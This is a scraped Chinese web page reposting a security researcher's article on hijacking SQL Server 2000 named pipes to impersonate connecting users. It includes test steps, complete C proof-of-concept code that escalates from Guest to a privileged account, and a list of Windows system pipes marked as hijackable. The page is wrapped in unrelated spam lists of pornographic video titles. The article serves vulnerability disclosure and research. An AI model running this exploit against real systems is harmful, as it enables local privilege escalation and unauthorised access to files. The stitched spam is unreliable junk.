婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > SQL SERVER 2000通訊管道后復用劫持

SQL SERVER 2000通訊管道后復用劫持

熱門標簽:如何在地圖標注自己店鋪 洛陽外呼系統平臺 真人語音電銷機器人 寧波人工外呼系統有效果嗎 地圖標注一個圓圈怎么用 廣州人工電銷機器人費用 400外呼系統合法 電銷機器人被曝光 怎樣把地圖標注導入公司地址

作者:FLASHSKY
SITE:WWW.XFOCUS.NET
郵件:flashsky@xfocus.org

SQL SERVER 2000通訊中,允許使用有名管道來進行通訊,一般情況下是如此命名的:
默認實例:\\.\pipe\sql\query
命名實例:\\.\pipe\MSSQL$instancename\sql\query
也可以通過1434 UDP進行查詢獲得這個管道名稱

但是由于SQL SERVER 2000對于這個管道的ACL設置為NULL,導致任何用戶的權限都可以對這個管道進行劫持,以前的劫持都是利用先停掉服務,再建立這個名字管道,然后再啟動服務來復用自己已經建立了名字的管道,但實際上SQL SERVER 2000會判斷是否已有同名管道,然后會取別的名字,而且低級權限的用戶也啟動和停止不了服務(除非是利用一些漏洞),但是實際上對管道的測試卻發現:如果ACL設置成NULL的話,即使是后命名的管道,也可以劫持先命令的管道,只需要簡單復用管道,然后自己建立幾個管道的連接不釋放(具體建立幾個估計和真正的管道
建立時的實例個數有關,如在我的測試下,\\.\pipe\sql\query只需要建立1個接可以劫持了,而\\.\pipe\lsass則需要4-5個之后才能劫持。不過\\.\pipe\lsass的ACL只能是管理員才能進行劫持)
如果攻擊者復用了同名管道以后,建立起幾個不釋放的管道(消耗掉了正常管道的實例),然后再有客戶發起的管道連接就進入了攻擊者程序的管道監聽流程,剩下的就是大家都知道的利用模擬函數獲得發起者權限的老生常談了:
下面就是一個簡單的例子,實現對SQL SERVER 2000管道通訊的劫持
環境:SQL SERVER 2000+SP2
      WIN2000 SERVER中文版+SP3
測試流程:
     1。先建立SQL 服務器允許管道通訊,和集成WINDOWS 驗證,添加一個具備高權限的允許SQL SERVER登陸的WINDOWS本機帳戶,啟動SQL SERVER服務
     2。C盤下建立一個TEST.TXT文件,設置ACL為GUEST全部拒絕,其他人都許可
     3。在另外一臺機器B上,以添加的可以登陸SQL SERVER的服務器帳戶登陸,然后設置客戶端網絡庫只為管道(如果有多個,可能就會是隨機選一個連接,而不肯定是管道進行通訊了)
     4。然后用SQL SERVER企業管理器建立一個SQL SERVER的連接,使用集成WINDOWS驗證
     5。SQL SERVER這邊的機器進入GUEST帳戶運行下面C代碼的程序,會顯示先無法打開TEST.TXT文件,然后進行劫持,等待客戶端管道連接
     6。在機器B上,連接SQL SERVER,然后主機A的程序就會截獲這個管道扮演高權限登陸用戶,然后可以打開先沒權限打開的文件。

    當然這個攻擊本身實際的意義可能不大,因為估計現在SQL SERVER用管道建立通訊的比較少,而且在都允許的情況下,一般會主動選擇TCP方式進行連接,但同時說明了:一個缺乏很好ACL保護的管道,也可以用后發復用來進行劫持,這就減少了很多需要先停掉服務或預先預測的難題,在編寫服務器端管道應用的時候也必須小心。

SQL SERVER 2000劫持代碼

#include windows.h>
#include winbase.h>
#include stdio.h>
#include stdlib.h>

void main()
{
  HANDLE pipea;
  FILE * fp;
  DWORD ret;
  DWORD num;
  HANDLE pipeb[100];
  int i;
  int dwSize ;
  char szUser[256];  
  DWORD dwNumber = 0;
    //先的測試,在GUEST權限下無法打開此文件
  fp = fopen("C:\\test.txt","w");
  if(fp==NULL)
    printf("now you don't open file;\n");
  //建立起一個同名管道,復用已存在的SQL SERVER的
  pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
    PIPE_ACCESS_DUPLEX,
    PIPE_TYPE_MESSAGE|PIPE_WAIT,
    100,
    2048,
    2048,
    NMPWAIT_USE_DEFAULT_WAIT,
    NULL);

  if(pipea ==INVALID_HANDLE_VALUE)
  {
    ret = GetLastError();
    printf("error in createnamedpipe!code=%d\n",ret);
    return;
  }
  //損耗掉其他正常實例
  if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
  {
    printf("no this pipe\n");
    return;
  }
  //可以調整個數,SQL SERVER只需要調整一個就可以了
  for(i=0;i1;i++)
  {
    Sleep(20);
    if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
    {
      printf("open pipe failed\n");
      return;
    }
    //WriteFile(pipeb[i],"test1",5,num,NULL);
    //WriteFile(pipeb[i],"test2",5,num,NULL);
  }
    //然后等待連接
  ConnectNamedPipe (pipea, NULL);
  ReadFile(pipea, (void *) dwNumber, 4, dwSize, NULL);
    //模擬連接進來的用戶
  ImpersonateNamedPipeClient (pipea);
  dwSize = 256;
    //獲得用戶信息
  GetUserName(szUser, dwSize);
  printf ("Impersonating: %s\n", szUser);  
    //然后再測試是否能打開這個文件,證明確實提升了權限
  fp = fopen("C:\\test.txt","w");
  if(fp!=NULL)
    printf("now you can open file\n");
  DisconnectNamedPipe(pipea);
  CloseHandle(pipea);
  for(i=0;i1;i++)
    CloseHandle(pipeb[i]);  
  return;
} 

補充:
所有管道都有這個漏洞,就是看ACL能否允許你復用,只要能復用就可以
如//./pipe/lsass 我都可以劫持,但是他的ACL定義成只能administrator進行劫持
目前測試了一下默認的一些管道基本ACL設置好好,不允許低級權限用戶復制,但SQL的管道顯示ACL設置的很差
可能更多服務或者其他的第三方的服務中存在這樣沒有很好ACL保護的管道,那么就意味著后復用也可以劫持成功

下面是我開啟了所有默認的WIN的服務,然后獲取的系統管道測試的結果(沒有開啟終端服務,我機器沒裝,裝了終端服務的可以測一下),另外也不能說沒有意義,我前面看見一篇文章還專門推薦用集成驗證加管道通訊獲得更安全的SQL SERVER呢,嘿嘿
Pipe name (Number of instances, Maximum instances)

InitShutdown (2, -1)---------------可以在ADMIN下劫持
net\NtControlPipe5 (1, 1)
llsrpc (2, -1)   ---------------可以在ADMIN下劫持
000001e8.000 (2, -1) -----------可以在ADMIN下劫持
net\NtControlPipe8 (1, 1)
net\NtControlPipe9 (1, 1)
ProfMapApi (2, -1)--------------可以在ADMIN下劫持
epmapper (2, -1)----------------可以在ADMIN下劫持
WMIEP_454 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
WMIEP_444 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
net\NtControlPipe11 (1, 1)
WMIEP_3c8 (2, -1)---------------可以在ADMIN下劫持
net\NtControlPipe12 (1, 1)
net\NtControlPipe13 (1, 1)
nddeapi (2, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
NetDDE (1, 1)                    返回所有管道實例都忙的錯誤信息,不知道是否ACL設置許可復用
net\NtControlPipe14 (1, 1)
Winsock2\CatalogChangeListener-e8-0 (1, 1)-----------------可以在ADMIN下劫持
net\NtControlPipe15 (1, 1)
Winsock2\CatalogChangeListener-574-0 (1, 1)-----------------可以在ADMIN下劫持
WMIEP_640 (2, -1)-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-640-0 (1, 1)-----------------可以在ADMIN下劫持
net\NtControlPipe25 (1, 1)
WMIEP_6f0 (2, -1)-----------------可以在ADMIN下劫持
sql\console (1, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL\QUERY (1, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
net\NtControlPipe26 (1, 1)
tsx_listener (1, 1)         返回所有管道實例都忙的錯誤信息,不知道是否ACL設置許可復用
winreg (2, -1)-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-6f0-0 (1, 1)-----------------可以在ADMIN下劫持

其中在GUEST權限下可劫持的有
WMIEP_454 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
WMIEP_444 (2, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
nddeapi (2, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
sql\console (1, -1)---------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL\QUERY (1, -1)-----------------可以在ADMIN下劫持------GUEST用戶可劫持
SQL 的就不說了,不過sql\console這個管道用于什么方面還不清楚,如果有默認的一些用途的話,估計也是一個點。
nddeapi的基本存在nddeapi的應用的話就可以發生
WMI的就難點,看這樣子是隨著發展每個連接都會新建起來的,那樣后復用作用就不大,只能采用預測名字的方法提前復用來攻擊,但是奇怪的是其權限是不同的,有些WMI的不能GUEST復用,有些又可以,有時間了具體測試一下WMI客戶與服務器之間連接產生的管道通訊的情況,或許也是走一個默認的管道名,說不定就可以攻擊了呢,:)

標簽:東營 南昌 咸寧 珠海 石家莊 晉中 北海 煙臺

巨人網絡通訊聲明:本文標題《SQL SERVER 2000通訊管道后復用劫持》,本文關鍵詞  SQL,SERVER,2000,通訊,管道,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《SQL SERVER 2000通訊管道后復用劫持》相關的同類信息!
  • 本頁收集關于SQL SERVER 2000通訊管道后復用劫持的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    亚洲成av人片www| 6080日韩午夜伦伦午夜伦| 欧美久久一二区| 国产乱子伦视频一区二区三区| 久久99九九99精品| 精品一区二区在线观看| 在线观看91av| 亚洲码国产岛国毛片在线| 日韩欧美国产综合一区 | 国产精品天干天干在观线| 欧美嫩在线观看| 久久午夜免费电影| 亚洲福利视频一区| av不卡在线播放| 欧美成人性福生活免费看| www.av亚洲| a级精品国产片在线观看| 3d成人h动漫网站入口| 亚洲人成伊人成综合网小说| 国产精品18久久久久| 精品国产1区2区3区| 亚洲国产日日夜夜| 三级欧美在线一区| 欧美羞羞免费网站| 91亚洲资源网| 欧美成va人片在线观看| 51精品秘密在线观看| 亚洲成av人片一区二区梦乃| 7777精品伊人久久久大香线蕉超级流畅| 国产精品久久久久aaaa| 亚洲va中文字幕| 欧美一卡二卡在线| 国产99久久久精品| 国产精品免费视频观看| 97国产精品videossex| 一区二区成人在线| 日韩欧美高清一区| 国产高清在线精品| 欧美理论电影在线| 中文字幕一区二区三区不卡在线| 日本视频一区二区| 亚洲影院在线观看| 亚洲国产aⅴ天堂久久| 国产99久久久国产精品潘金网站| 亚洲一级片在线观看| 色8久久精品久久久久久蜜| 日韩av不卡在线观看| 欧美国产日韩精品免费观看| www.亚洲免费av| 亚洲va欧美va天堂v国产综合| 成人中文字幕电影| 亚洲电影在线免费观看| 精品视频在线看| 一区二区三区在线免费| 欧美无砖砖区免费| 欧美一区二区三区免费| aa级大片欧美| 国产一区福利在线| 成人午夜伦理影院| 日韩av高清在线观看| 激情欧美一区二区| 国产精品亲子伦对白| 亚洲人成网站色在线观看| 亚洲欧美综合色| 日本一不卡视频| 国产69精品久久777的优势| 波多野结衣视频一区| 三级一区在线视频先锋| 看电影不卡的网站| 成人av手机在线观看| 91久久香蕉国产日韩欧美9色| 欧美日韩成人综合| 久久亚洲影视婷婷| 亚洲成a人v欧美综合天堂| 成人91在线观看| 日本高清成人免费播放| 日韩欧美在线网站| 一区二区三区精品在线观看| 美女视频黄久久| 日本精品免费观看高清观看| 精品久久久久av影院 | 亚洲综合一区二区三区| 另类小说一区二区三区| 午夜精品久久久久久久99樱桃| 久久99精品久久久| 欧美日韩国产天堂| 亚洲欧洲另类国产综合| 国产一区二区三区国产| 日韩欧美一区二区三区在线| 蜜臀精品一区二区三区在线观看 | 午夜欧美在线一二页| 色噜噜狠狠色综合中国| 亚洲国产成人午夜在线一区 | 亚洲综合在线免费观看| 99久久99久久综合| 国产精品久久久久久久久动漫| 美女视频黄 久久| 9人人澡人人爽人人精品| 国产午夜一区二区三区| 久草中文综合在线| bt欧美亚洲午夜电影天堂| 中文成人综合网| av色综合久久天堂av综合| 亚洲欧洲一区二区三区| 精品视频一区二区三区免费| 专区另类欧美日韩| 91女厕偷拍女厕偷拍高清| 亚洲制服丝袜在线| 欧美一区二区三区在线观看 | 午夜av一区二区| 精品国产成人在线影院| 成人小视频在线| 午夜一区二区三区在线观看| 国产综合久久久久久久久久久久| 国产午夜一区二区三区| 一本到高清视频免费精品| 丝袜亚洲另类欧美综合| 久久综合狠狠综合久久激情| 91精品福利视频| 国产性色一区二区| 亚洲电影你懂得| 欧美极品xxx| 欧美日韩激情一区| 国产91富婆露脸刺激对白| ㊣最新国产の精品bt伙计久久| 91丨porny丨在线| 成人综合婷婷国产精品久久免费| 亚洲综合小说图片| 亚洲精品在线观| 欧美专区日韩专区| 亚洲综合av网| 久久先锋影音av鲁色资源网| 欧美日韩免费观看一区二区三区| 国产成人自拍网| 美女在线视频一区| 亚洲成人在线免费| 国产欧美日韩在线看| 欧美一区二区三区免费在线看 | 欧美在线免费观看视频| 国产成人精品亚洲777人妖| 麻豆91精品视频| 免费视频一区二区| 国产成人在线色| 亚洲精品自拍动漫在线| 亚洲欧美激情一区二区| 日韩理论片一区二区| 国产精品福利av| 国产精品国产自产拍在线| 欧美国产精品久久| 一本大道综合伊人精品热热 | 国产激情一区二区三区| 粉嫩一区二区三区性色av| 国产一区不卡在线| 国产ts人妖一区二区| 欧美xxxxx牲另类人与| 欧美三片在线视频观看| 欧美精品xxxxbbbb| xf在线a精品一区二区视频网站| 国产亚洲一本大道中文在线| 国产精品三级在线观看| 亚洲精品va在线观看| 日韩电影免费在线看| 国产精品一二三区在线| 99精品视频一区二区| 日本高清成人免费播放| 精品久久五月天| 国产成人免费在线观看不卡| 欧美日本免费一区二区三区| 久久久久久久电影| 亚洲综合视频在线| 成人一区二区三区视频| 欧美日韩激情一区二区| 亚洲人xxxx| 成人黄色a**站在线观看| 亚洲精品成人悠悠色影视| 日韩高清一区在线| 91行情网站电视在线观看高清版| 精品久久人人做人人爽| 亚洲图片自拍偷拍| av电影在线不卡| 国产视频一区二区在线观看| 日韩激情一二三区| 欧美精品精品一区| 亚洲乱码中文字幕| 99re视频精品| 日韩一区日韩二区| 不卡在线视频中文字幕| 久久综合九色欧美综合狠狠 | 欧美精品乱码久久久久久按摩| 一区二区三区在线视频观看| 国产91富婆露脸刺激对白| 国产日韩综合av| 99久久综合精品| 日韩欧美国产电影| 成人精品一区二区三区四区 | 欧美精品乱码久久久久久按摩| 亚洲成人动漫一区| 91精品国产一区二区三区香蕉| 日韩在线一区二区三区| 欧美精品色一区二区三区|